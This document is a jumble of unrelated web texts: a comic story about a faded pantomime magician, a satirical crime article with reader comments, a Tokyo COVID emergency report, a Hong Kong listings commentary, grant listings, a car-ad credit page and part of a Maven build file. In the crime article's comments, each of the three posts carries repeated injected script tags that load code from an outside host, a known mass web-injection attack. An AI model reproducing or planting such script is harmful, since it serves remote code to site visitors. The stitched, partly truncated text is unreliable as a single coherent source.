text:
The Sorcerer's Apprentice
by Michael Yates
I'm going to give my secrets away today. All of them. Why not? What good are they to me now? What good is living? I ask you!
It's all gone wrong. I used to think: One day I'll be on telly. I did the clubs for years and then I was offered this part in a panto in Leeds. Abanazer, the evil magician in Aladdin. Right up my street. I mean, I'm no great actor but you don't need to be Kenneth Branagh in a show like that. I just played the part for what it was worth, then it was start of the second act and we were standing in front of the curtains and Aladdin had to say: "You're supposed to be a wizard. Let's see some of your tricks!"
And then the curtains would open and the kiddies would gasp in astonishment because the stage hands had brought on all my magic stuff – the vanishing cabinet, the box for Sawing the Lady in Half and the top hat that the pigeons came out of. And then Aladdin would exit, back to the ladies' dressing room, and Lorna, my assistant, would enter stage left, with her bright blonde head, her fishnet stockings and sparkly leotard, and we'd get on with things. I could do it all then. I would shout: "Oh yes I can!" and the children would shout: "Oh no, you can't!" But I could. And I did.
These days, I'm sick of children. That's all I seem to be doing. Kiddies' birthday parties, seventy quid a time, which isn't much when you consider the travel and the wear-and-tear on the props. And there's no Lorna now. She was only my assistant and I used to say it's easy enough to get another girl because they're all keen to do it, because they're all in love with showbiz and sometimes they're in love with me too, after a while. But I guess it's a new generation. They'd all rather be on Love Island or Big Brother or whatever. There's no respect for tradition, no respect for artistry.
So now it's the kiddies' parties and that's meant going it alone and cutting down on my repertoire. It's a no-go area for vanishing cabinets anyway, because you're there in somebody's living room, surrounded by the little buggers, with no trap doors or secret openings at the back or any other way to make people disappear. And you can't do Sawing the Lady in Half for the same reasons, also because I've been told it's considered sexist these days and encourages domestic violence.
So now I do Snow White's Laundry. You get a plastic bowl, you show the kids it's empty, then you show them a giant family packet of soap flakes and you pour the flakes into the bowl. And you say to the kids: "This is how Snow White did the washing for the Seven Dwarves." Though most of them today have never heard of Snow White. And you put your hands in and you pull out all these tiny clothes from nowhere, so it looks endless. And the kids love it.
How you do it is: You make the clothes out of little bits you cut from your own clothes when they're falling apart anyway. You can load them into the bowl under cover of all those soap flakes because you've cut the bottom out of the packet and made a false bottom and stuck it in with Sellotape. And then you've got a smaller packet taped inside the big packet and that's where the clothes come from. Easy-peasy.
Leeds was where Lorna met Ian Hubbard. He was playing Widow Twanky. So I didn't worry. I mean, a bloke like that. Mother Hubbard, I used to call him. And he'd got receding hair too.
Another trick I do for the birthday parties is: The Young Reporter.
I tell them I used to be a reporter when I was younger, and I tell them
how the editor cut one of my stories right down to fit the page. And
I've got this clipping from the newspaper and I've got a pair of scissors
and I keep on cutting it into smaller and smaller pieces and then the
editor changes his mind and suddenly – kapow! – I open out the cutting
and the whole thing is back again as if it had never been cut. That really
gets them.
How you do it is: You start with a strip about two foot long and you
crease it in the middle and you apply a bit of glue. And then, before
it's dry, you put some talcum powder on the glue and you fold it up so
it's only about a foot. Then, when you get to the end of the trick – it's
what us magicians call the prestige – the talc makes it unfold again so
it's much longer than it looked.
One word of warning – if you're using a glue which gives off inflammable
vapours, never do it near a naked flame. Got that? OK.
Well, I wasn't having any of this Ian Hubbard stuff. I told her straight: "It's me or him." And she said: "Right, then it's him." And I said: "How d'you think you're going to live? You've got no education, no training, you're just a bit of skirt with good legs as long as you keep on shaving them." And she said: "Well, I've been with you two years now and I've seen how you do your tricks and I've made notes in an exercise book. Ian can do those tricks just as good as you. He's not just Widow Twanky, you know. He's done Buttons as well."
Another trick that goes down well with the little ones is called Penny Plentiful. You've got two identical plastic cups and you show the boys and girls that they're empty. Then you go round the audience taking pennies from all over the place – behind an ear or an elbow or out of some mum's cleavage (the mums love that). You put these pennies in one of the plastic cups, then you pour the pennies into the second cup and back into the first cup, and back and forth, and each time you do it, there's more and more pennies. The kids are amazed and so are the mums. They don't know where the pennies are coming from.
How you do it is: When you show the audience the cups are empty, you don't really show them both cups. You do a bit of sleight of hand, swopping the cups over as you're doing the spiel, so they think they've seen both, but they haven't really. That's why the cups have to be identical. One plastic cup is half-filled with pennies to begin with. Then, when you're pouring the pennies back and forth, you keep your finger over the top of the cup so only some of them pour out at one time. And you increase the number bit by bit. Easy, really.
I got a replacement for Lorna. She was called Doreen but we changed her name to Dawn. But it didn't last long. I found I was missing monies from my wallet when I left it in the dressing room. And she said: "Well, what can you expect, considering the pittance you pay me?" Anyway, she'd met this fireman who respected her and he was much better looking than me. So that was that then.
And then I started to do without an assistant altogether because I thought: What the hell! I don't need some woman holding me back. And I started drinking. Well, I'd always drunk a bit – it's part of the theatrical life. But I guess it got to be a habit. Tommy Cooper was a drinker but he always hedged his bets – if the trick went wrong, he could always pretend it was a joke.
I got this problem with my liver and had to cut back on the booze and go on the dole for a bit. But I soon got fit again. I thought: I'm a new man. It's a new lease of life. I even worked on a couple of new tricks and laid out the readies for a new top hat and tails.
When I got ill, I'd started watching TV a lot. And it struck me there was a new generation of magicians, but it was still the same old tricks. Like getting somebody to pick a card, then put it back in the pack, then you take the card from out of somebody else's sleeve and it's the same card. I could do that in my sleep! But these new magicians didn't go for the indoors stuff, they went out in the street, stopping people and being filmed by Channel Four. Nice work if you can get it, if you can get Channel Four to lay out the wherewithal for that sort of thing.
Then I started watching Britain's Got Talent. I thought: Well, a
TV talent show might be my next vehicle. And this magician
came on. And he was called The Great Pretendo. And he did
everything the old-fashioned way: rabbits out of the hat,
vanishing cabinet, the lot. I was impressed. And he'd got
this girl assistant, and when I looked hard at her, I thought:
I know those legs.
And yes, it was Lorna, though she'd let the blonde grow out of
her hair. And that was when I realised Pretendo was Ian Hubbard.
I'd've recognised him right away by his receding hair but, of
course, he was wearing a top hat. And most of the tricks were
mine. And most of the patter was mine. I was gobsmacked. I
phoned her mobile number, hoping it was the same, and she
answered, and I had a real go at her. I said: "How could you
do this to me?"
And she said: "You exploited me, you old pervert. I couldn't live on what you paid me. And anyway, I'm the one helped you invent most of your tricks and I've got the exercise book to prove it."
I was furious but what could I do? It was all lies. But with her legs, she was bound to sway the jury. And I couldn't afford the lawyers anyway.
I stopped watching BGT there and then. But I read in the Mail a bit later that Pretendo had won his heat. And then after that, that he'd won the series and was booked for the London Palladium.
Life isn't fair. All I've got left is the birthday parties. And even that might not last. My agent tells me there have been complaints about Snow White's Laundry. He says some of the mums think the act is very insensitive on the subject of modern slavery and the Dwarves should do their own wa
Pics thanks to Boston Public Library, Unsplash
and Omid Armin, Unsplash.


text:
Not My Crack Pipe Excuse Actually True
Ma'am, I think you dropped something...
Police were called to the scene at 4:30 am after neighbors reported a women pacing the street and yelling at the streetlight for being too bright.
"When we arrived, the suspect was sitting down on the curb, she had realized she wasn't going to win her battle with the streetlight and she was just going to let it kill her," said Police Officer Sam Getz. "We searched her person and found a small back of crack in a Ziploc bag."
And not surprisingly, the two police officers found a crack pipe laying on the ground by her feet.
"Typically when we find a suspect in possession of crack, the crack pipe that is laying at their feet is also theirs," said the second officer on the scene, Charles Wilson. "In fact, every other time, it has been."
The two officers cuffed the suspect and brought her into jail. She claimed the whole time that the crack pipe wasn't hers and she was just holding the crack for a friend.
"The story was totally unbelievable," said officer Getz. "But not unbelievable as in that song Unbelievable, it was unbelievable like that I couldn't believe it."
As unbelievable as her story was, an unexpected visitor to the station soon changed everything.
"A man came in and reported his crack pipe missing," said officer Jamie Shine. "He described his crack pipe and it was an identical match to the one we had recovered earlier that night. Additionally, he said he lost a small bag of crack which he had in a Ziploc bag."
The crack pipe and crack were returned to the grateful man and the woman suspect was released without being charged.
"It just goes to show you that things aren't always as they seem," said officer Getz. "That's why the justice system is innocent until proven guilty, you never know when it might be someone else's crack pipe."h="0"0" hei
1. by Richard on 3/1/2007 4:52:29 PM
This is a TOTAL earthen vessel containing an abundance of bovine feces! Officer Getz had that woman tried, convicted and sentenced in his own mind from the start. There was ABSOLUTELY NO assumption of innocence at any time. She was guilty, Guilty, GUILTY, until her innocence was established by someone OUTSIDE OF THE LAW ENFORCEMENT FIELD! To Swerve and Deflecth </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by HAHA on 3/1/2007 4:52:29 PM
The crack pipe and crack were returned to the grateful man and the woman suspect was released without being charged. heheheispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Sparky on 3/1/2007 4:52:29 PM
THIS is why we are fighting to defend America! Thank goodness for our Justice system.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

redpajama_set_name: RedPajamaCommonCrawl


text:
Japan declares emergency in Tokyo
AP / Updated: Jan 8, 2021, 06:00 IST
People with masks walk through Shinjuku area as Japan PM Yoshihide Suga declares emergency in Tokyo
#Tokyo
Japan has declared a state of emergency for Tokyo and three nearby areas as coronavirus cases continue to surge, hitting a daily record of 2,447 in the capital.
Prime Minister Yoshihide Suga issued the declaration at the government task force for the coronavirus. It kicks in Friday until February 7, and centres around asking restaurants and bars to close at 8 pm and people to stay home and not mingle in crowds.
The declaration carries no penalties. But it works as a strong request while Japan juggles to keep the economy going.
Shopping malls and schools will remain open. Movie theatres, museums and other events will be asked to reduce attendance. Places that defy the request will get publicized on a list, while those that comply will be eligible for aid, according to officials.
Coronavirus cases have been surging in Japan after the year-end and New Year's holidays.
What does new state of emergency mean?
The month-long declaration is not nationwide. It affects four neighbouring areas that account for much of the rise in Japan's caseload: Tokyo, Chiba, Kanagawa and Saitama.
A state of emergency empowers governors in affected regions to call for restrictions on movement and commerce but offers little in the way of enforcement.
Governors can request people stay inside and call for businesses that attract large numbers of people, like entertainment venues or department stores, to close their doors.
But there are no punishments for those who defy the request, nor any other enforcement mechanisms.
This time restaurants and bars will be asked to stop serving alcohol by 7 pm and close an hour later, except for take-out and delivery.
Other businesses -- from gyms to theme parks -- are also likely to be asked to shorten hours, and telework will be encouraged with the goal of reducing commuter traffic by 70 percent. Residents will be asked to avoid non-essential outings, especially in the evening.
The strongest power accorded to governors is the ability to commandeer buildings or land for medical purposes, for example requiring landowners to turn over property to build temporary medical facilities. AP, AFP


Connecticut resident, it was their duty to do so.
principles, its contract with the Wright family requires it to say the Wrights flew first.
no historical findings of its own.
passed a resolution asking the Smithsonian Institute to examine Whitehead's claim.
in to legislate the claim.
way they rose above their differences to do the right thing.


text:
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繁 简 IT FR
CIO Viewpoint: Hong Kong - A Rising Financial Hub for China's New-Economy Companies
The world in 2020 is going through significant changes. The sudden outbreak of the COVID-19 has caught most countries unprepared and dragged the global economy into the deepest recession seen in decades. As a result, the breakdown of global supply chains has further accelerated deglobalization and led to rising friction between superpowers.
Against such a backdrop, companies' nationalities and the relations between their home countries' governments will matter even more than before regarding which markets to prioritize, which supply bases to cultivate, and the decisions of where to raise capital.
Tensions between the US and China have notably increased on various issues, including trade, national security, and Hong Kong's autonomy, and the pandemic just added new layers of complexity.
The Holding Foreign Companies Accountable Act, passed by the US Congress in May, would require Chinese companies to provide access to their audit working papers to keep listing in the US. Any companies that fail to comply with the Act could be forced to delist from the US exchanges by January 2022.
The US-China trade war, more strict listing rules, and the bans on Chinese companies' access to the US market are all threatening the future of the Chinese firms listed in the US. Such contentions and fragilities of the US-China relation have urged more companies to consider secondary listings in safer harbors closer to home. Hong Kong is a popular destination of focus.
A Potential "Coming Back Wave": More New-Economy Firms on HK Market
In 2015, there was a "coming back wave" among the US-listed Chinese firms, but most of them aimed to be relisted in mainland China, expecting the potential easing of listing rules. However, the result was mixed. The regulatory reform was slow: until now, only the STAR and ChiNext (mainly for innovative startup companies) have adopted the new listing rule. As a result, a number of companies had to wait for a long time to get relisted.
This time, however, the more desirable place is Hong Kong. Before 2018, Hong Kong-listed companies were dominated by Old-Economy sectors, such as financial, property, energy, and consumer. The only well-known tech firm was Tencent. Due to its strict rules against weighted voting rights (WVR), Hong Kong Exchange (HKEX) missed a number of tech firm IPOs, such as Alibaba, in 2014.
Nevertheless, the 2018 listing regime reform by the HKEX has changed such narrative. Specifically, the new listing rules feature lower thresholds for biotech firms and approval of WVR structures; they also set up new listing rules for Greater China and international companies seeking secondary listings in Hong Kong.
Such changes are appealing for Chinese companies listed in the US by providing a new option to deal with the delisting threat. They are also appealing for companies seeking IPOs, especially for tech, healthcare, biotech companies.
As a result, the deteriorated relationship between the US and China and the more accommodative rules of the HKEX has encouraged more promising New-Economy firms to raise funds in Hong Kong (Exhibit 1.) and provided a significant boost for the fund-raising market to stay prosperous.
For the past two years, even with the global equity market downturn in 2018, and the social upheaval in 2019, HKEX still managed to secure its top IPO fund-raising status globally. However, the Chinese listings in the US slowed dramatically by 33% in 2019. Also, for the first half of this year, global IPO fundraising decreased by 18% compared to the same period of last year, but Hong Kong still managed to see an increase from USD 9.3 billion to USD 10.5 billion (KPMG). As the Ant group IPO approaching, Hong Kong Exchange should remain one of the top exchanges in IPO fundraising this year.
Currently, the total market cap of the Chinese firms qualified for secondary listings in Hong Kong is around HKD 3 trillion (Exhibit 2.). If these companies seek secondary listings in Hong Kong in the coming years, with 10% new share issuance, the estimated amount of fundraising could be HKD 300 billion.
Secondary listings could also bring back investors and funds from other markets to Hong Kong. For example, several of Alibaba's biggest investors have converted US ADRs into Hong Kong shares in part to avoid potential U.S. sanctions and de-listings. Temasek, Baillie Gifford, and Matthews Asia are among the major shareholders that have swapped the stakes (according to South China Morning Post). And we expect that more long-term fund managers, especially the ones based in Asia, are switching or considering to switch from ADRs into Hong Kong-listed shares.
Looking forward, we expect to see a continued increase in secondary listings as well as innovative-growth companies with weighted voting rights in Hong Kong, which would ultimately change the composition of the companies in the Hong Kong market by increasing the share of New-Economy sectors. Such potential changes could make Hong Kong more attractive to global investors.
Changing Landscape: Not A "Value Trap" Anymore?
Despite the large market cap (Top 4 in the world), the trading volume and turnover ratio of the Hong Kong market is lower compared to other major stock markets. Therefore, a key question could be: whether these "coming back" secondary listings could get enough investors to trade their stocks in desirable volumes.
However, the relatively low trading volume is partially due to the Old-Economy dominated composition of the market. The increased representativeness of the New-Economy firms should attract more investors, promote tradings, and increase market liquidity.
Besides, Hong Kong has a large asset and wealth management industry. According to the Securities & Futures Commission (SFC), even during a time when global markets have been uncertain and challenging, and despite the social unrest and geopolitical tensions between the US and China, Hong Kong's asset and wealth management business still thrived last year, with a 20% year-on-year (YoY) increase in AUM to HKD28.8 trillion.
At the same time, assets managed in Hong Kong grew even faster by 24% YoY, from HKD 8 trillion to HKD 10 trillion. 52% of the assets under management are in equity. Hong Kong and mainland China are the most preferred markets for fund managers, representing 46% of the investment, and with mainland China seeing the fastest growth of interest (investments in mainland China increased by 48% last year). Such a large and steadily growing asset and wealth management industry and a stronger willingness to invest in China should provide a desirable pool of investors for the Hong Kong market.
Moreover, the stock connect scheme launched in late 2014, and the changing composition of the listed companies have attracted more investors from mainland China, leading to a more balanced investor base.
The share of foreign investors has stayed relatively stable at about 40% in Hong Kong, previously dominated by the US and European investors (Exhibit 4.). Such dominance partially explains the notable influence of foreign central bank policies on the Hong Kong market and the hot money behavior, which increases market volatility. However, after the launch of the stock connect, the share of mainland China investors increased significantly from 10% before 2014/2015 to 28% in 2018, which could be a potential stabilizer of the market.
Finally, the Hang Seng index's PE ratio usually fluctuates between 9 to 13 and is now standing at around 12.9, which is low compared with most other markets (MSCI world at 19.4, MSCI-ACW, MSCI Emerging Asia 15.3). The Hang Seng Index's performance may look like a "value trap", especially compared with the performance of S&P500. However, the New-Economy heavy, Hang Seng TECH Index's performance is quite different, even better than the Nasdaq since 2015.
Before the Hang Seng TECH Index, the New-Economy sectors were under-represented in major indexes. The Old-Economy's share in Hang Heng Index stands at about 70% even after the recent index rebalance, which is higher than that of the overall Hong Kong market (at around 56%). However, the Hang Seng TECH Index is dominated by New-Economy firms, with more than 80% of the components from the technology and healthcare sectors. The TECH Index's introduction could attract potential investors and funds seeking opportunities in the New-Economy sector.
Therefore, we expect that the changing landscape of more New-Economy firms and a more balanced investor base could help the Hong Kong market get rid of the "value trap" reputation by promoting trade, stabilizing market movements, and therefore, increasing valuation.
However, such an outlook is subject to risks, especially politically. For example, any ban on US funds from investing in Chinese IPOs or listings in Hong Kong, on top of the recent White House directive to the body in charge of overseeing billions in federal retirement savings to halt plants to invest in Chinese firms, is likely to hurt liquidity.
Rule of Law: From A "Cost and Benefit" Perspective
The National Security Law (NSL) has been implemented in Hong Kong for more than two months. And we are aware of the concerns among investors over a completely new law that bypasses Hong Kong's legislation institutions. However, based on our understanding of the Chinese central government's strategy towards Hong Kong, we want to make some clarification to ease the concerns over Hong Kong's judicial and economic independence.
The NSL aims to grant the Hong Kong government much stronger authority to intervene in actions that might jeopardize Hong Kong's stability. From a "cost and benefit" perspective, the Chinese central government balances Hong Kong's autonomy and social stability. After months of prolonged social unrest since last June, restoring Hong Kong's stability has become the top target, trumping the fear of international condemnation and sanction.
For the judicial system, according to Fu Hualing, Dean of Faculty of Law at the University of Hong Kong, the Basic Law remains Hong Kong's constitution by its nature, and Hong Kong courts could develop a common law jurisprudence in interpreting the NSL by the standards of the Basic Law.
The Chinese government indeed has the final interpretative power of the NSL, but it also has the final interpretative power of the Basic Law. And It does not mean that the Chinese government will frequently interpret NSL as it wishes. After all, the central government has only interpreted basic law five times since 1997 (Hong Kong requested three of them).
Moreover, so far, there still exits some essential trust between Hong Kong's judicial system and the central government. In the first draft of the NSL, Hong Kong's pro-establishment group endorsed the forbiddance of foreign judges to handle NSL related cases, and also the Chief Executive's (CE) authority to select judges for NSL related cases. However, the final version of the NSL rules out the specification of banning foreign judges and also adds the arrangement that the CE might refer to the Chief Justice for judge selection.
Therefore, for now, we have faith in Hong Kong's Judiciary, and we believe the Judiciary would not remain silent towards any actions that might be detrimental to its independence.
For the economic system, Hong Kong enjoys a much more autonomous status compared with its political system. Internationally, the Hong Kong Monetary Authority and SFC enjoy a parallel position as the China Securities and Regulatory Commission. Moreover, the Chinese central government helped to persuade Ashley Ian to stay for another term as the CEO of the SFC to enhance investors' confidence on Hong Kong's financial market after the pass of the NSL, showing that the central government has no intention to intervene in Hong Kong's economic system at the current stage.
Indeed, in the worst-case scenario, China could terminate the one-country-two-system. However, terminating Hong Kong's own system gets China little benefit but will generate tremendous cost.
Hong Kong is not replicable, given China's relatively closed financial system. The capital flow among international financial markets, the Hong Kong market, and the Mainland China market have been operating well for decades. Any disruption on such chain will cost huge unintended costs for China.
Sources: Harvard Business Review, Financial Times, KPMG, South China Morning Post, HKEX, CICC
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text:
Idaho's Noxious Weed Cost Share Program
Idaho State Department of Agriculture.
The primary purpose of the Idaho State Department of Agriculture's (ISDA's) noxious weed cost share grant program is to accelerate the attack on invasive weeds by supplementing local funds and resources, not replacing them. Cost sharing is also intended to provide additional incentives for local landowners, officials, and citizens to work collaboratively to develop a more comprehensive and effective noxious weed management program.
Maine Invasive Aquatic Plants Funding Opportunities
Maine Department of Environmental Protection.
Courtesy boat inspections are the cornerstone of the state's invasive aquatic species prevention program. Limited funds are available for locally initiated CBI programs. Grants up to $2000 are available to municipal and county governments, quasi-municipal organizations (including water districts) and 501C(3) eligible organizations such as lake associations. The State of Maine also uses a Request for Proposal (RFP) process to solicit applications for plant control work.
Quagga and Zebra Mussels Infestation Prevention Grant Program
California Department of Parks and Recreation. Division of Boating and Waterways.
As part of its mission, the Division of Boating and Waterways manages the Quagga and Zebra Mussel Infestation Prevention Grant Program, which supports preventative plans that help protect California's reservoirs from a dreissenid mussel infestation.
RemoveAlabamafilter
RemoveMontanafilter
RemovePennsylvaniafilter
RemoveNorthern Mariana Islandsfilter
ApplyMichiganfilter (2)
ApplyNew Hampshirefilter (1)
RemoveState and Local Governmentfilter


text:
2017 FIAT 124 Spider: "Free Like A Bird" Ad Featuring Wyclef Jean & A Majestic White-Tailed Eagle
Sylvia S May 14, 2016
FIAT proudly worked with world-renowned falconer, Jacques-Olivier Travers of FREEDOM, a game-changing conservation movement that supports ...
FIAT proudly worked with world-renowned falconer, Jacques-Olivier Travers of FREEDOM, a game-changing conservation movement that supports and protects threatened birds of prey, to help create this video; co-directed by a rare, white-tailed eagle.
The 124 Spider gives you a feeling of freedom that's even more fun than flying. Turns out we're not the only ones who feel that way.
Behind the scenes in Italy below,
The Credits:
Ad Agency: FCB Chicago
Chief Creative Officer: Todd Tilford
VP, Creative Director: Gustavo Dorrietto
Associate Creative Director: Marinna Ruiz
Executive Producer: Jenny Hoffman
Manager of Business Affairs: Kelly Lenthe
EVP, Group Management Director: Kelly Graves
VP, Management Director: Brooke Ward
Senior Editor: Steve Immer
Post Production: Lord + Thomas
Production: Pulse Films
Director: D.A.R.Y.L. —Edward Lovelace and James Hall (director team)
Other partners: Freedom Conservation
Directors of Photography: Roi, Victor, Fletcher (white tailed eagles)
Music: Wyclef Jean - "Free Like a Bird"
AdStasher: 2017 FIAT 124 Spider: "Free Like A Bird" Ad Featuring Wyclef Jean & A Majestic White-Tailed Eagle
https://i.ytimg.com/vi/bRL3XnSAS9w/hqdefault.jpg
https://i.ytimg.com/vi/bRL3XnSAS9w/default.jpg
https://www.adstasher.com/2016/05/2017-fiat-124-spider-free-like-bird-ad.html


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				<mvn.jdbc.driverClassName>org.sqlite.JDBC</mvn.jdbc.driverClassName>
				<mvn.jdbc.url>jdbc:sqlite:${webapp.root}/WEB-INF/db/mycat-web.db</mvn.jdbc.url>
				<mvn.jdbc.username></mvn.jdbc.username>
				<mvn.jdbc.password></mvn.jdbc.password>
				<mvn.logpath>/save/saveview/log</mvn.logpath>
			</properties>
		</profile>
	</profiles>

	<properties>
		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
	</properties>

	<dependencies>

		<dependency>
			<groupId>org.xerial</groupId>
			<artifactId>sqlite-jdbc</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-discovery</groupId>
			<artifactId>commons-discovery</artifactId>
		</dependency>

		<!-- spring -->
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-beans</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-tx</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-context</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-core</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-jdbc</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-expression</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-web</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-aop</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-aspects</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-instrument</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-instrument-tomcat</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-jms</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-orm</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-oxm</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-test</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-webmvc-portlet</artifactId>
		</dependency>
		<!-- spring end -->
		<!-- junit ned -->

		<!-- commons lib -->
		<dependency>
			<groupId>commons-beanutils</groupId>
			<artifactId>commons-beanutils</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-collections</groupId>
			<artifactId>commons-collections</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-dbcp</groupId>
			<artifactId>commons-dbcp</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-fileupload</groupId>
			<artifactId>commons-fileupload</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-io</groupId>
			<artifactId>commons-io</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-lang</groupId>
			<artifactId>commons-lang</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-logging</groupId>
			<artifactId>commons-logging</artifactId>
		</dependency>

		<!-- jsckson lib -->

		<dependency>
			<groupId>org.codehaus.jackson</groupId>
			<artifactId>jackson-core-asl</artifactId>
		</dependency>
		<dependency>
			<groupId>org.codehaus.jackson</groupId>
			<artifactId>jackson-mapper-asl</artifactId>
		</dependency>

		<!-- log4j2 lib -->
		<dependency>
			<groupId>org.apache.logging.log4j</groupId>
			<artifactId>log4j-api</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.logging.log4j</groupId>
			<artifactId>log4j-core</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.logging.log4j</groupId>
			<artifactId>log4j-slf4j-impl</artifactId>
		</dependency>

		<!-- mybatis lib -->
		<dependency>
			<groupId>org.mybatis</groupId>
			<artifactId>mybatis</artifactId>
		</dependency>
		<dependency>
			<groupId>org.mybatis</groupId>
			<artifactId>mybatis-spring</artifactId>
		</dependency>

		<!-- slf4j lib -->
		<dependency>
			<groupId>org.slf4j</groupId>
			<artifactId>slf4j-api</artifactId>
		</dependency>

		<!-- inject lib -->
		<dependency>
			<groupId>javax.inject</groupId>
			<artifactId>javax.inject</artifactId>
		</dependency>

		<!-- jstl lib -->
		<dependency>
			<groupId>jstl</groupId>
			<artifactId>jstl</artifactId>
		</dependency>

		<!-- fastjson lib -->
		<dependency>
			<groupId>com.alibaba</groupId>
			<artifactId>fastjson</artifactId>
		</dependency>

		<!-- guice lib -->
		<dependency>
			<groupId>com.google.code.guice</groupId>
			<artifactId>guice</artifactId>
		</dependency>

		<!-- scannotation lib -->
		<dependency>
			<groupId>net.sf.scannotation</groupId>
			<artifactId>scannotation</artifactId>
		</dependency>

		<!-- freemarker start -->
		<dependency>
			<groupId>org.freemarker</groupId>
			<artifactId>freemarker</artifactId>
		</dependency>

		<dependency>
			<groupId>org.rainbow</groupId>
			<artifactId>rainbow-common</artifactId>
		</dependency>

		<!-- jrds -->
		<dependency>
			<groupId>net.iharder</groupId>
			<artifactId>base64</artifactId>
		</dependency>
		<dependency>
			<groupId>jrds</groupId>
			<artifactId>boot</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-codec</groupId>
			<artifactId>commons-codec</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-net</groupId>
			<artifactId>commons-net</artifactId>
		</dependency>
		<dependency>
			<groupId>joda-time</groupId>
			<artifactId>joda-time</artifactId>
		</dependency>
		<dependency>
			<groupId>jrds</groupId>
			<artifactId>jrds</artifactId>
		</dependency>
		<dependency>
			<groupId>log4j</groupId>
			<artifactId>log4j</artifactId>
		</dependency>
		<dependency>
			<groupId>org.rrd4j</groupId>
			<artifactId>rrd4j</artifactId>
		</dependency>
		<dependency>
			<groupId>org.snmp4j</groupId>
			<artifactId>snmp4j</artifactId>
		</dependency>
		<dependency>
			<groupId>jrds</groupId>
			<artifactId>snmpprobes</artifactId>
		</dependency>
		<dependency>
			<groupId>xml-apis</groupId>
			<artifactId>xml-apis</artifactId>
		</dependency>
		<dependency>
			<groupId>mysql</groupId>
			<artifactId>mysql-connector-java</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.httpcomponents</groupId>
			<artifactId>httpclient</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.httpcomponents</groupId>
			<artifactId>httpcore</artifactId>
		</dependency>
		<dependency>
			<groupId>org.mortbay.jetty</groupId>
			<artifactId>jetty-management</artifactId>
		</dependency>
		<dependency>
			<groupId>org.mortbay.jetty</groupId>
			<artifactId>jetty-util</artifactId>
		</dependency>
		<dependency>
			<groupId>org.mortbay.jetty</groupId>
			<artifactId>jetty</artifactId>
		</dependency>
		<dependency>
			<groupId>org.json</groupId>
			<artifactId>json</artifactId>
		</dependency>
		<dependency>
			<groupId>org.mortbay.jetty</groupId>
			<artifactId>servlet-api</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.ws.commons.util</groupId>
			<artifactId>ws-commons-util</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.xmlrpc</groupId>
			<artifactId>xmlrpc-common</artifactId>
		</dependency>
		<dependency>
			<groupId>org.apache.xmlrpc</groupId>
			<artifactId>xmlrpc-server</artifactId>
		</dependency>

	</dependencies>

	<build>
		<finalName>mycat-web</finalName>
		<sourceDirectory>src/main/java</sourceDirectory>
		<testSourceDirectory>src/test/java</testSourceDirectory>

		<resources>
			<resource>
				<directory>src/main/resources</directory>
				<filtering>true</filtering>
			</resource>
			<resource>
				<directory>src/main/java</directory>
				<includes>
					<include>**/*.ftl</include>
				</includes>
			</resource>
		</resources>
		<testResources>
			<testResource>
				<directory>src/test/resources</directory>
			</testResource>

		</testResources>

		<outputDirectory>src/main/webapp/WEB-INF/classes</outputDirectory>
		<testOutputDirectory>src/main/webapp/WEB-INF/classes</testOutputDirectory>

		<pluginManagement>
			<plugins>
				<plugin>
					<groupId>org.eclipse.m2e</groupId>
					<artifactId>lifecycle-mapping</artifactId>
					<version>1.0.0</version>
					<configuration>
						<lifecycleMappingMetadata>
							<pluginExecutions>
								<pluginExecution>
									<pluginExecutionFilter>
										<groupId>org.apache.maven.plugins</groupId>
										<artifactId>maven-dependency-plugin</artifactId>
										<versionRange>2.4</versionRange>
										<goals>
											<goal>copy-dependencies</goal>
											<goal>unpack</goal>
										</goals>
									</pluginExecutionFilter>
									<action>
										<ignore />
									</action>
								</pluginExecution>
								<pluginExecution>
									<pluginExecutionFilter>
